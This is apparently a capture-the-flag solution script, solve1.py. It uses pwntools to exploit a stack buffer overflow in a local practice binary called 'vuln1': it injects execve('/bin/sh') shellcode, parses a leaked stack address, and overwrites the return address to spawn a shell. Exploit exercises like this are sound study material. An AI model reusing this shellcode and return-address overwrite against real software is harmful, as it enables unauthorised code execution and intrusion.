-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathsolve1.py
75 lines (60 loc) · 1.55 KB
/
solve1.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
#!/usr/bin/env python3
# pylint: skip-file
from pwn import *
NAME = 'vuln1'
context.binary = ELF(NAME)
# execve(path='/bin//sh', argv=['sh'], envp=0)
SHELLCODE = """
push 0x68
mov rax, 0x732f2f2f6e69622f
push rax
mov rdi, rsp
/* push argument array ['sh\x00'] */
/* push b'sh\x00' */
push 0x1010101 ^ 0x6873
xor dword ptr [rsp], 0x1010101
xor esi, esi /* 0 */
push rsi /* null terminate */
push 8
pop rsi
add rsi, rsp
push rsi /* 'sh\x00' */
mov rsi, rsp
xor edx, edx /* 0 */
/* call execve() */
push SYS_execve /* 0x3b */
pop rax
syscall
"""
def main():
p = process(context.binary.path)
# Read program banner, parse the free info.
p.readline()
name_line = p.readline()
name_addr = name_line.split(b'0x')[1].decode('utf-8').strip().zfill(16)
name_addr = u64(unhex(name_addr), endianness='big')
fn_addr = p.readline()
log.warning(f'&name: {name_addr:016x}')
# Set initial name.
p.recvuntil('> ')
p.sendline('andreas')
# Send shellcode and overwrite the return address with the address of the
# stack buffer.
p.sendline('update')
shellcode = asm(SHELLCODE)
padding = b'A' * (0x58 - len(shellcode))
payload = (
shellcode
+ padding
+ p64(name_addr)
)
log.info('sending payload:')
log.info(hexdump(payload))
p.send(payload)
p.recvuntil('> ')
# Return from function.
p.sendline('exit')
log.warning('Enjoy your shell!')
p.interactive()
if __name__ == '__main__':
main()